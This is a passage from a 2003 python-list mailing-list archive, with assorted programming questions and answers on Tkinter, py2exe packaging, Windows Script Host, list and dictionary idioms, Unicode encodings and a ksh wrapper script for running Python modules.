You want **buttonDict here.

> if __name__=='__main__':
> 	root=Tk()
> 	app=App(root)
> 	root.mainloop()
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Laura Creighton




From list-python at ccraig.org  Fri Jan 10 16:15:32 2003
From: list-python at ccraig.org (Christopher A. Craig)
Date: 10 Jan 2003 16:15:32 -0500
Subject: Do pythons like sugar?
In-Reply-To: <200301092047.MAA18239@mail.arc.nasa.gov>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
	<ihgT9.21296$u9.18028@fe08>
	<SSjT9.38031$1c.13089@nwrddc01.gnilink.net>
	<200301092047.MAA18239@mail.arc.nasa.gov>
Message-ID: <87n0m8n1u3.fsf@beren.ccraig.org>

Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:

> I found Afanasiy's responses to be the presumptuous ones, like he is
> *entitled* to a helpful response to a poorly posed question?  Should
> the answer have been a simple and curt "no", without any further
> inquiry?  I'll bet that wouldn't have garnered an "okay, thank you"
> response.

This is something I wondered about too.  And if that were the answer,
is it really anyone's opinion that the newsgroup would be more
polite/helpful because of it?  

I once had a friend who doesn't do much computational theory ask me "I
have this linked list that I have to search a lot, but it's real slow.
Is there any way to search a linked list faster?"  I could have just
said no, but it seems to me to be more helpful to suggest that if he
is going to search a lot a hash table, avl tree, or even just a sorted
array, might be a much better data type.

-- 
Christopher A. Craig <list-python at ccraig.org>
It was never really an Internet company, AOL was based on the idea that
people needed to live in a halfway house while they became accustomed
to the Net. -- Salon Magazine




From akjmicro at yahoo.com  Sat Jan 25 10:49:47 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 09:49:47 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <v358hbkrmr1l1d@corp.supernews.com>
Message-ID: <b0ubqa$oiv$2@bob.news.rcn.net>

In message <v358hbkrmr1l1d at corp.supernews.com>, Cameron Laird wrote:
> In article <b0tctd$9cn$1 at bob.news.rcn.net>,
> Aaron K. Johnson  <akjmicro at yahoo.com> wrote:
> 			.
> 			.
> 			.
> >What you see below are pure and simple the number of unique posters to each
> >comp.lang.whatever hierarchy in December 2002.
> 			.
> 			.
> 			.
> >comp.lang.java 5347
> >comp.lang.c++ 3075
> >comp.lang.perl 2136
> >comp.lang.javascript 2130
> >comp.lang.python 1996
> >comp.lang.basic 1758
> >comp.lang.c 1670
> >comp.lang.labview 958
> >comp.lang.clipper 922
> >comp.lang.tcl 853
> >comp.lang.pascal 805
> >comp.lang.ruby 767
> >comp.lang.clarion 707
> >comp.lang.lisp 587
> >comp.lang.fortran 517
> >comp.lang.smalltalk 391
> >comp.lang.asm 386
> >comp.lang.cobol 382
> >comp.lang.ada 376
> >comp.lang.vhdl 370
> >comp.lang.scheme 349
> >comp.lang.postscript 319
> >comp.lang.prolog 243
> >comp.lang.functional 237
> >comp.lang.idl-pvwave 230
> >comp.lang.forth 226
> >comp.lang.verilog 223
> >comp.lang.awk 211
> >comp.lang.vrml 153
> >comp.lang.rexx 147
> >comp.lang.apl 142
> >comp.lang.mumps 126
> >comp.lang.pl1 121
> >comp.lang.misc 115
> >comp.lang.objective-c 108
> >comp.lang.eiffel 101
> >comp.lang.logo 80
> >comp.lang.ml 73
> >comp.lang.asm370 65
> >comp.lang.dylan 38
> >comp.lang.modula3 30
> >comp.lang.oberon 26
> >comp.lang.modula2 23
> >comp.lang.pop 22
> >comp.lang.icon 17
> >comp.lang.idl 15
> >comp.lang.limbo 5
> >comp.lang.clos 4
> >comp.lang.prograph 2
> >comp.lang.clu 2
> >
> 
> comp.lang.php?

Hmm.. I'll have to add that....




From simonb at webone.com.au  Fri Jan  3 20:01:53 2003
From: simonb at webone.com.au (Simon Burton)
Date: Sat, 04 Jan 2003 12:01:53 +1100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <pan.2003.01.03.13.48.50.113237@webone.com.au> <3E159693.28FEE9BC@alcyone.com>
Message-ID: <pan.2003.01.04.01.01.52.354089@webone.com.au>

On Fri, 03 Jan 2003 05:56:35 +0000, Erik Max Francis wrote:

> Simon Burton wrote:
> 
>> I think he meant in comparison to your average point and click editor.
> 
> I might grant that (for non-graphical versions of emacs; GNU emacs with
> X support or XEmacs are very much point-and-click friendly), but would
> vi really fair better?  Point-and-clickers would be utterly dumbfounded
> by vi upon a first encounter; you have to enter a code to even start
> typing!

Yes!

One thing i noticed when teaching newbies with emacs: it's possible to do
much damage with 2 or 3 keystrokes. But of course, we are not comparing
emacs to vim; it took me about 10 years to recover from my initial
shock-horror reaction to vi, but now i use it (well, vim) all the time :) .

bye,
Simon Burton




From gerrit at nl.linux.org  Thu Jan  9 15:34:53 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Thu, 9 Jan 2003 21:34:53 +0100
Subject: list comprehensions value assignment syntax error
In-Reply-To: <9TZS9.9170$u9.4412@fe08>
References: <mailman.1041983459.23262.python-list@python.org> <YjKS9.151$467.132@fe08> <mailman.1042038162.14439.python-list@python.org> <9TZS9.9170$u9.4412@fe08>
Message-ID: <20030109203453.GA2606@nl.linux.org>

Steve Holden schreef op woensdag  8 januari om 19:17:51 +0000:
> > I hope you can forgive me <w> ;),
> 
> Easily. I take it what you actually wanted was to construct the list using
> the comprehension?

To fill a part of a 2nd dimension:

WRONG:
[self[i][x1] = w for i in range(y1, y2+1)] # statement instead of expression
self[i][y1:y2+1] = w # w is only one item
self[i][y1:y2+1] = w * range(y1, y2+1) # untested, probably possible but ugly,
                                         and only possible for horizontal, not
                                         for vertical changes

RIGHT:
for i in range(y1, y2+1): self[i][x1] = w

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
    http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
    http://www.sp.nl/




From mhammond at skippinet.com.au  Tue Jan 14 23:18:42 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Wed, 15 Jan 2003 04:18:42 GMT
Subject: ActivePython on Windows: References Question
In-Reply-To: <b02595$kufqe$1@ID-136433.news.dfncis.de>
References: <mailman.1042579468.2572.python-list@python.org> <b02595$kufqe$1@ID-136433.news.dfncis.de>
Message-ID: <Ci5V9.13854$UB4.63122@news-server.bigpond.net.au>

Alex K. Angelopoulos wrote:
> Thanks for all the info.  I have some notes below, inline.
...
> I've noticed issues with many Python scripts not working when run from
> wscript/cscript, and part of it does seem to be core engine implementation.

Standard python scripts are not really designed to be run from 
wscript/cscript.

All the axscript\demos\wsh demo files work for me, but WSH is 
particularly useless for Python programmers - there is nothing WSH can 
do that Python itself can not do.  Hence I can see no reason at all to 
use Python under WSH.

> I suspect the major problem is the lack of a lot of interest in this hosting
> model.  

This is largely true.  People using Python are generally unlikely to 
choose IIS/ASP as their web hosting model.  People choosing IIS/ASP as 
their hosting model are more likely to stick with VB/JS.

This leaves the only users of this technology being poor Python 
programmers having this stuff thrust down their throats, but they remain 
grateful that Python is at least available.  When these people come to 
advocating their use of technology, they are more likely to advocate 
Python itself than specifically Python hosted under ASP/WSH.

> If the Python core was much more widely distributed as an Active
> Scripting engine, it would make sense, but in my experience most Windows users
> who install Python actually use the entire language natively - you get access to
> a lot of fully-wrapped functionality that way.

Almost anyone who uses Python on Windows ends up with either 
ActivePython or win32all, so I believe it quite widely distributed.

>>Mark Hammond seems to be the single source for all the win32 extensions
> 
> he also is the author of one of the few other Active Scripting engines available
> in source form, a "Forthish" example available for download from MSKB.

That is a blast from the past :)

> The problem with Python COM examples is that even the ones which claim to be
> "WSH examples",  is that they usually aren't.  They are usually demos of
> accessing COM objects installed _with_ WSH, but hosted by Python itself.

This is pretty gray.  The following Python code:

WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Popup("This script shows ...", 2)

Is pure Python code, but will only work under WSH.  While Python is not 
*creating* these WSH objects directly, it is still creating them and 
using them like any other COM object.

ie, this code is almost identical to:
WshShell = win32com.client.Dispatch("WScript.Shell")
WshShell.Popup(...)

The fact one is run under WSH and the other via Python directly is 
really just a matter of a few levels of indirection.

I'm not trying to argue with anything you said, but am trying to 
downplay the relevence <wink>

Mark.




From pythonmac-sig-request at python.org  Thu Jan  2 06:26:15 2003
From: pythonmac-sig-request at python.org (pythonmac-sig-request)
Date: Thu, 2 Jan 2003 12:26:15 +0100 (added by postmaster@dns-oi.com)
Subject: Have a new Epiphany
Message-ID: <3D946F64000614D9@antivirusgw.dns-oi.com> (added by postmaster@dns-oi.com)

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030102/d7b02de4/attachment.html>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: node16.html
Type: application/octet-stream
Size: 4896 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030102/d7b02de4/attachment.obj>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: InterScan_SafeStamp.txt
URL: <http://mail.python.org/pipermail/python-list/attachments/20030102/d7b02de4/attachment.txt>

From LogiplexSoftware at earthlink.net  Fri Jan 17 14:15:11 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 17 Jan 2003 11:15:11 -0800
Subject: iterating in reverse
In-Reply-To: <yyywul3skw6.fsf@adams.patriot.net>
References: <f57664b9.0301161546.37c85159@posting.google.com>
	 <3E274D34.8F0C4348@alcyone.com>
	 <f57664b9.0301170105.a7d95fa@posting.google.com>
	 <x7el7b4qiv.fsf@guru.mired.org>  <yyywul3skw6.fsf@adams.patriot.net>
Message-ID: <1042830911.32069.57.camel@software1.logiplex.internal>

On Fri, 2003-01-17 at 10:15, Nick Vargish wrote:
> I just encountered a problem that required reverse iterating to solve,
> and my current solution, though it works, is not so satisfying:
> 
> def commafy(val):
>     """Return val as string with commas every thousandth place."""
>     val = str(val)
>     ret = ''
>     c = 0
>     for i in range(len(val) - 1, -1, -1):
>         if c and not c % 3:
>             ret = ',' + ret
>         ret = val[i] + ret
>         c += 1
>     return ret
> 
> This is one of the few times I just haven't been able to come up with
> an elegant and -- dare I say it -- aesthetically pleasing solution in
> Python. I suspect the lack is my own, not Python's.

Here's a variation:

def commafy(val):
    """Return val as string with commas every thousandth place."""
    val = list(str(val))
    ret = ''
    c = 0
    while val:
        i = val.pop()
        if c and not c % 3:
            ret = ',' + ret
        ret = i + ret
        c += 1
    return ret


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From urba0083 at tc.umn.edu  Thu Jan  9 19:04:06 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: 9 Jan 2003 16:04:06 -0800
Subject: py2exe + PyGTK problems
Message-ID: <a1a74f68.0301091604.773d6518@posting.google.com>

Hi all,

I'm trying to use py2exe to create a PyGTK application. This app runs
fine from the Python interpretoir, but when trying to create an exe
with py2exe, it complains about missing modules. Here is the output:

warning: py2exe: * The following modules were not found:
warning: py2exe: *   gdk
warning: py2exe: *   ltihooks

When trying to run the resulting EXE, it fails with the following:

Fatal Python error: could not import pango

This application has requested the Runtime to terminate it in an
unusual way. Please contact the application's support team for more
information.

More information about my setup:

Windows XP Professional
Python 2.2.2
GTK+ Runtime Environment 2.0.9.1 (installed from the dropline.net
download)
Cedric Gustan's pygtk2 (1.99.13)

I have both the GTK2 lib and bin directory included in my path. Here
are the files that py2exe leaves in the dist directory (not including
the EXE file):

11/21/2002  05:46 AM           132,469 gobject.pyd
06/27/2002  08:11 PM           872,448 iconv.dll
08/21/2002  09:14 PM           128,804 libatk-1.0-0.dll
12/01/2002  11:24 PM           675,928 libgdk-win32-2.0-0.dll
11/28/2002  10:52 PM           114,391 libgdk_pixbuf-2.0-0.dll
11/26/2002  12:25 AM           557,868 libglib-2.0-0.dll
11/26/2002  12:30 AM            37,780 libgmodule-2.0-0.dll
11/26/2002  12:29 AM           289,145 libgobject-2.0-0.dll
09/20/2002  12:59 AM         2,847,869 libgtk-win32-2.0-0.dll
09/04/2002  01:37 AM            47,027 libintl-1.dll
11/12/2002  04:02 AM           236,877 libpango-1.0-0.dll
11/12/2002  04:02 AM            66,656 libpangowin32-1.0-0.dll
10/14/2002  05:02 PM           847,920 python22.dll
11/21/2002  05:46 AM         1,284,623 _gtk.pyd

Thanks in advance for any help that anyone can give on this.



From mrsinger at usa.net  Sun Jan  5 11:30:56 2003
From: mrsinger at usa.net (Matt Singer)
Date: 5 Jan 2003 08:30:56 -0800
Subject: Console stall
Message-ID: <e62b26d3.0301050830.5ee03a0c@posting.google.com>

I've hacked up some scripts that look up some info on various web
sites and prints out info to the shell window (this is win32) as it
goes along.  The odd thing is that it seems to "randomly" stall until
you hit the return key in the shell window.

Any thoughts on what I am doing stupidly? ;-)



From aleax at aleax.it  Sun Jan 26 13:06:33 2003
From: aleax at aleax.it (Alex Martelli)
Date: Sun, 26 Jan 2003 18:06:33 GMT
Subject: Adding to a Dictionary
References: <3E3421E8.4050303@uiuc.edu>
Message-ID: <JsVY9.84994$0v.2551063@news1.tin.it>

Keenan Crane wrote:

> I'm just starting out with Python and I'm having trouble figuring out
> how to add an entry to an already created dictionary.
> 
> I'm looking for something like
> 
> myDict.append('key', 'value')

myDict['key'] = 'value'

Assigning a value to a yet-nonexistent key adds the key, using exactly
the same syntax as you'd use to re-bind an already-existing key.

> Are dictionaries even mutable?  If not, how do you usually solve this
> problem?

Yes, dictionaries are mutable.


Alex




From amol at kenati.com  Mon Jan  6 02:02:29 2003
From: amol at kenati.com (Amol Sonaikar)
Date: Mon, 6 Jan 2003 12:32:29 +0530
Subject: Python setting lib and pexpect
Message-ID: <200301060657.WAA18417@cyberpopuli.com>

Hi

I have python 1.5 and 2.1 installed on my RH linux box. I have downloaded a 
tool called PEXPECT (pexpect.sourceforge.net) and trying out a program in it 
(sshls.py) but when I untar the tgz file it seems it is copying the file in 
Python1.5 lib. Because in the example the env is set to #!/usr/bin/env python

The file imports librar named pexpect. If I change the env to python2.1 (this 
is what I done in my other examples, it gives following is error

Traceback (most recent call last):
  File "./sshls.py", line 5, in ?
    import pexpect
ImportError: No module named pexpect

How should I set the default library to 2.1 rather than 1.5

Amol




From brian at sweetapp.com  Thu Jan 23 17:48:52 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Thu, 23 Jan 2003 14:48:52 -0800
Subject: Is there really a default source encoding?
In-Reply-To: <15920.28322.735834.322764@montanaro.dyndns.org>
Message-ID: <006301c2c331$9a14bf60$21795418@dell1700>

>> Once the Python Unicode type is called "string", current
>> string are called "byte strings" and implicit byte 
>> string => string conversions are NEVER supported then 
>> maybe we can make a Unicode encoding the default (maybe UTF-32).
> 
> And once every editor supports such encodings?  I use XEmacs.  Out of
the
> box it doesn't even support utf-8, let alone utf-32.

That's interesting. Opening files with Unicode encodings is pretty
trivial. Working with the data that they contain is the hard part.

Cheers,
Brian





From wurmy at earthlink.net  Thu Jan  2 14:03:49 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Thu, 02 Jan 2003 19:03:49 GMT
Subject: 2.3a1: importhooks oddity
References: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net> <just-60C271.18474702012003@news1.news.xs4all.nl>
Message-ID: <3E148DD6.5040003@earthlink.net>

Just wrote:

> You may have to do sys.path_importer_cache.clear() to make sure no 
> handler is registered for the path (this is most likely a None value, 
> signalling it should use the builtin mechanism). Check PEP 302 for the 
> details. You should then get a "Wahey!" for each member of sys.path (and 
> as a bonus no file system import will work after you installed your hook 
> ;-)

Yes, this works... a whole slew of Wahey's. :-)  So it's not a bug, but this 
behavior is still a bit confusing, at least on Windows (as opposed to other 
platforms where it seems to work as expected). Is this the desired behavior? If 
I understand correctly, then registering any function or class in path_hooks is 
useless on Windows for path "", since it will be bypassed.

Cheers,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From Loko at caramail.com  Thu Jan  2 05:19:42 2003
From: Loko at caramail.com (Loko)
Date: 2 Jan 2003 02:19:42 -0800
Subject: Httplib : ResponseNotReady, even after sourceforge patch #551273
Message-ID: <399d6c30.0301020219.4db77cbb@posting.google.com>

Hello

I have a very annoying problem with Httplib : once every ??? time I
send request to an Apache server, I get a "ResponseNotReady"
exception, because the isclosed() of the previous response is to 0.

It happends randomly in a set of 100 requests. I tried some "sleep"
between each request, didn't solve my problem.

I applied the patch #551273 found at sourceforge, didn't get better,
because I guess it does not deal with "100" responses.

Any tip welcomed.

Regards
Loko



From phr-n2003b at NOSPAMnightsong.com  Sat Jan 25 14:46:25 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 25 Jan 2003 11:46:25 -0800
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia> <15922.49110.110304.235838@montanaro.dyndns.org> <mailman.1043515846.16890.python-list@python.org>
Message-ID: <7xel716mi6.fsf@ruckus.brouhaha.com>

Mongryong <Mongryong at sympatico.ca> writes:
> Right now, I mainly need a way to generate unique (web) session keys. 
> However, it would be nice to have a general purpose function for
> generating unique keys.

On Linux, the simplest way is to just read some random bytes from
/dev/urandom and convert them to hex.  If you read 16 bytes you
get 32 hex digits and almost no chance of collision.



From tecargile at hotmail.com  Thu Jan  9 12:11:54 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 9 Jan 2003 09:11:54 -0800
Subject: Generic Shell(!) Wrapper For *.py Modules
Message-ID: <8b67aef5.0301090911.2f05440e@posting.google.com>

Reusable/linkable shell wrapper for 'execing' Python *.py modules
located in any directory on PYTHONPATH. Supports multi-word args.

Beats keeping *.py modules in 'bin' directories ... or does it?
Yep.  It's shell(!), but let's not forget scripting language roots
and its biggest success story (after PERL, of course ... errr I
mean Python).

:-)


#--------------------------- cut here ------------------------------
#!/bin/ksh
#-------------------------------------------------------------------
cat_man_page() {  #--- This Function Can Be Deleted AS Necessary
                  #--- $PN = sh2py
#-------------------------------------------------------------------
cat <<-EOF | more
  ------------------------------------------------------------------
  $PN(1)                                                   $PN(1)


  NAME
        $PN - Exec Python script from a shell script (shell wrapper)

  SYNOPSIS

        $PN [ python_script_args ]

  DESCRIPTION

        $PN executes '*.py' files of same name as a shell script.
        This will provide Python run of files named '*.py' while
        maintaining the 'no-suffix' convention for UNIX executables
        and the avoidance of identifying the source language in
        executable file names.  

        $PN also provides for the storage of Python modules in 
        directories other than 'bin' directories.  These directories
        must be in the PYTHONPATH environment variable to enable 
        $PN to locate the Python module(s).

        $PN will search PYTHONPATH directories for the file to
        run having the same run 'basename' as the script but with
        the '.py' suffix.  If found, the $PN script will replace
        its process by 'execing' either the Python interpreter
        or the Python file directly.

        Arguments are passed to the Python interpreter or to the
        scripts with the preservation of single and multi-word
        argument word grouping.

        Since $PN does not alter Python environment variables,
        the environment (especally PYTHONPATH) should be set
        correctly (and exported) for desired Python interpreter
        operation prior to execution or unexpected behavior may occur.


  OPTIONS

        None

  NOTES

        The $PN base script can be hard or soft linked to multiple
        desired file names to support multiple executable files.

  ENVIRONMENT VARIABLES

        PYTHONPATH - Searched for files to edit if not found in
                     the current directory.

  INSTALLATION

        Example of a Python script '${prefix}/python/foo.py'
        module where '${prefix}/python' is in PYTHONPATH:

        $ cp $PN ${prefix}/bin  #--- If $PN does not already exist 
        $ cd ${prefix}/bin
     *  $ ln $PN foo            #--- If 'foo' does not already exist

     *) Links would be used if it is desired to have a single, master
        copy of the $PN script.  However, it may be desirable to
        have the 'target' script a copy if changes are to be made
        that support one or more specific Python modules, for example.


  BUGS/DEFICIENCIES

        Uncompiled Python scripts without the '.py' suffix are
        not supported.  Of course, nobody would think to create an
        uncompiled Python script without the '.py' suffix in an
        attempt to hide the fact that it is written in Python.
        In any event, a shell wrapper may not be necessary for
        such modules if they are installed in 'bin' directories
        and follow the "#!" first-line convention to identify the
        Python interpreter.

  AUTHOR

        Tim Cargile (510) 914-4809 / 1/8/2002

  SEE ALSO

        python(1), bash(1), ksh(1)


  $PN(1)                                                   $PN(1)
  ------------------------------------------------------------------
EOF
}

#PN=`basename $0`;cat_man_page;exit  #--- Delete. For manual page only

#---
#--- Default PYTHONPATH to CWD if null
#--- THIS CAN/SHOULD BE CHANGED TO IDENTIFY OTHER/ANOTHER DEFAULT
#--- DIRECTORY.
#---
if [ -z "$PYTHONPATH" ]; then
    PYTHONPATH="./"
fi

#---
#--- Maintain argument multi-word boundaries
#---
unset args

while [ $# -gt 0 ];do
    args="$args \"$1\""
    shift
done

#---------------------------------------------------------------
#--- Look for Python module in each PYTHONPATH directory
#--- and run the first one found
#---------------------------------------------------------------
py_module_bn=`basename $0`
py_module=${py_module_bn}.py
py_exec=python
#---
#--- Set InterField Seperator to parse PYTHONPATH
#---
IFS_SAVE=$IFS
IFS=:

for dir in $PYTHONPATH;do 
    if [ -r ${dir}/$py_module ];then
        IFS=$IFS_SAVE

        #--- 
        #--- Run mode determined by first line of Python Script
        #--- Change this if all scripts have 'first line' command
        #--- 

        fl=`head -1 ${dir}/${py_module}`

        case "$fl" in
        \#!*)   eval exec ${dir}/${py_module} "$args"  ;;
        *)      eval exec $py_exec ${dir}/${py_module} "$args"  ;;
        esac

        break  #--- This should NOT occur ... but could happen, Dude!
    fi
done

echo "$py_module_bn: Cannot find python module: $py_module" >&2
echo "$py_module_bn: PYTHONPATH = $PYTHONPATH" >&2

exit 2



From LogiplexSoftware at earthlink.net  Thu Jan  9 10:44:52 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 09 Jan 2003 07:44:52 -0800
Subject: Do pythons like sugar?
In-Reply-To: <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
	 <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com>
	 <avjj5d$8cn$1@slb3.atl.mindspring.net>
	 <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>
Message-ID: <1042127091.23487.1071.camel@software1.logiplex.internal>

On Thu, 2003-01-09 at 02:47, Afanasiy wrote:
> On Thu, 09 Jan 2003 03:25:41 -0700, some Dalke wrote:
> 
> >Afanasiy wrote:
> >>>A few languages provide syntax sugar for dealing with
> >>>this by allowing you to localize the class scope.
> >>>
> >>>Does Python? eg. `with self do:`
> >
> >> So the answer is a definitive no? I want to do things as I have them,
> >> I don't want to change my design just to be able to type 'self' less.
> >
> >It's a definite no.  From previous accounts, said sugar is hiding
> >rat poison.  It's advantages are slight to its disadvantages.  Eg,
> >for your case it would have hid a poor implementation rather than
> >yield a better one.
> 
> You don't know what I am doing. My design is perfect.

"My design is perfect?".  I'll just let that speak for itself.

> In my situation, your way is wrong. I am not looking to
> hide a poor implementation. That's a rude assumption.

No, it's a fair assumption.  A *silly* assumption would be to assume
that someone who clearly isn't that familiar with Python would have a
*correct* implementation.

> >> Is there any tricky one-liner that brings object members in scope?
> >
> >Yes but I won't tell.  You shouldn't use it.
> 
> Excellent, thanks.

Although I too am a bit curious what Andrew's trick is, I'm guessing it
involves manipulating namespaces in an "interesting" way.  Not the sort
of thing to be encouraged.  He knows that if he told you, you'd probably
use it and then regret it later on when you realized its implications,
or that using it would prevent you seeing a better solution.

I can understand that you are perhaps irritated that you didn't get the
answer you were looking for.  If you had gotten a single reply that
simply read "No" would that have really made you happier?  You asked a
question to which that was a valid reply, but you also implicitly
presented a problem that you thought "with self do:" was an answer for. 
Rather than simply telling you "No" and letting you wonder, people were
trying to provide you with *alternative* methods that perhaps you would
find more palatable.  It seems that with your "perfect" design
(something I personally haven't seen in almost 20 years of programming
and that, of course, you won't reveal) that you are above criticism or
even suggestions.  If you dump a piece of code on a public forum, you
can expect it to be criticised.  That's *why* you put it there.


Regards,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From kricxjo.neniuspamajxo at yahoo.com  Wed Jan 22 09:46:31 2003
From: kricxjo.neniuspamajxo at yahoo.com (Christopher Culver)
Date: Wed, 22 Jan 2003 15:46:31 +0100
Subject: Newbie asks, how to get rid of the last four characters of a string?
References: <pan.2003.01.22.14.22.46.534199@yahoo.com> <3E2EABAC.9030704@mxm.dk>
Message-ID: <pan.2003.01.22.14.46.30.794969@yahoo.com>

On Wed, 22 Jan 2003 15:33:16 +0100, Max M wrote:
> You can just use a slice.
> 
> 'filename.doc'[:-4]
> 
>  >>> filename
> 
> regards Max M

That was just what I was looking for, thanks!

Christopher Culver



From peter at engcorp.com  Sun Jan 12 22:04:10 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Jan 2003 22:04:10 -0500
Subject: map() question...
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com>
Message-ID: <3E222CAA.261BE21F@engcorp.com>

Kevin Ethridge wrote:
> 
> Why doesn't map() work with the print function?
> ie map(print, ['Have', 'a', 'great', 'day.'])

I should have made another point in my reply, but since no one else
has made it yet instead, I will now.

It's bad form to use a side-effect in the way you are trying to use
it.  Map is intended to *return* a list, built by executing a 
function (which returns an item) on each item of the input list.
Using map just for the iteration effect is likely to confuse a
future programmer (which might be you!) so you should avoid it.

The better approach would be a simple for statement, which is the
one obvious solution to the problem and therefore the best:

for item in ['Have', 'a', 'maintainable', 'day.']:
    print item

-Peter



From chrisk at nipltd.com  Thu Jan 30 14:13:17 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Thu, 30 Jan 2003 19:13:17 +0000
Subject: Segmentation fault??
Message-ID: <3E39794D.8030203@nipltd.com>

Hi All

My Python interpreter just died with the error
Segmentation fault

I've re-run the code and its passed over the same data with no problems, 
so I'm hoping its just something like a power glitch causing problems.

Has anyone else experienced similar?

I'm running Debian Woody, and Python 2.1.3.

The code is using the UnixMailbox, Email, and MySQLda modules, and 
mainly doing string and list manipulation.

Python is:
Python 2.1.3 (#1, Sep  7 2002, 15:29:56)
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2

Uname -a
Linux derf 2.4.18-686 #1 Sun Apr 14 11:32:47 EST 2002 i686 unknown

I can't see any core files or anything else useful in the directory 
where it was running.

Cheers for any insight, or messages along the lines of "Don't worry"

Chris




From missive at frontiernet.net  Tue Jan 21 17:20:54 2003
From: missive at frontiernet.net (Lee Harr)
Date: Tue, 21 Jan 2003 22:20:54 -0000
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <mailman.1043167418.17738.python-list@python.org>
Message-ID: <v2rhu656k22i56@corp.supernews.com>

>   Here's another way:
> 
>     L = [(1,3,5), (8,16,2), (2,56,4)]
>     s = L[:]
>     s.sort(lambda x, y: cmp(x[2], y[2]))
>     print s[-1]
> 
>   Jp
> 

Yup, that is the way I would go also.

Very simple & straightforward.

(tho I might not have used a lambda ;-)





From BPettersen at NAREX.com  Wed Jan 29 18:58:15 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Wed, 29 Jan 2003 16:58:15 -0700
Subject: Importing functions from a database
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE2EF@admin56.narex.com>

I'd like to be able to semi-transparently load functions from a database
rather than from a file. I.e. given the following code:

  import dbscripts
  dbscripts.myFunction()

I'd like the attribute access to cause a database lookup of the code for
"myFunction" (I'm assuming that dbscripts would replace itself with a
class instance in sys.modules to trap the attribute access etc., etc.).
Extra points for saving the byte code in the db and re-reading the db if
it's been "a while" since the scriptlet was last read (so that I can
update a running system :-)

I was hoping someone had allready done this, but my googling didn't
bring up any obvious candidates... Anyone have any pointers?

-- bjorn




From theller at python.net  Mon Jan  6 14:38:21 2003
From: theller at python.net (Thomas Heller)
Date: 06 Jan 2003 20:38:21 +0100
Subject: Distributing Python apps
References: <SDIR9.8437$8M3.1412642@news20.bellglobal.com> <mailman.1041720609.1880.python-list@python.org> <4lvi1v03tkpmg4l40amut7e2c22vsdc86p@4ax.com>
Message-ID: <d6na9ihe.fsf@python.net>

Richie Hindle <richie at entrian.com> writes:

> [David LeBlanc]
> > Taking a quick glance at just Python, I don't think your goal of putting
> > Python + app + data on a single 1.44mb floppy is realistic.
> 
> But the OP doesn't need to do that - he only needs to ship the pieces
> his application needs, which py2exe will extract and InnoSetup will
> compress.
> 
> > In terms of a download, I'm betting that 2+mb for a runtime only including
> > application bytes (binaries and doc) is more likely.
> 
> A small but non-trivial Python program, 'compiled' with py2exe and
> packaged with InnoSetup, should total less than a megabyte.  Adding a
> GUI toolkit will probably take that beyond the 1.44MB mark, but Norm
> said "I don't want to deliver on a CD or a floppy.  I want to deliver by
> ftp."
> 
> For example, a small CGI script called 'xxx.py', which relies on a few
> Python standard library modules including 're' and 'socket', compiles
> using py2exe to this:
> 
>  292643 Dec 11 09:43 xxx.exe
>  847920 Oct 14 18:02 python22.dll
>   45103 Oct 14 18:02 _socket.pyd
>   53292 Oct 14 18:03 _sre.pyd
>   36864 Oct 14 18:03 _winreg.pyd
> 
> That totals 1,275,822 bytes uncompressed.  The resulting InnoSetup
> installer, built with all the default options, is 965,948 bytes.  This
> is with Python 2.2.2.
> 

To further cut down the file size, you could use UPX, which
transparently compresses executable files. This brings down
python22.dll from 847920 bytes to 324608 bytes. IIRC, the ratio
is even more impressive with the wxPython and wxWindows dlls.

http://upx.sourceforge.net/

Thomas



From jlh at cox.net  Wed Jan 15 19:05:27 2003
From: jlh at cox.net (Jeff Hinrichs)
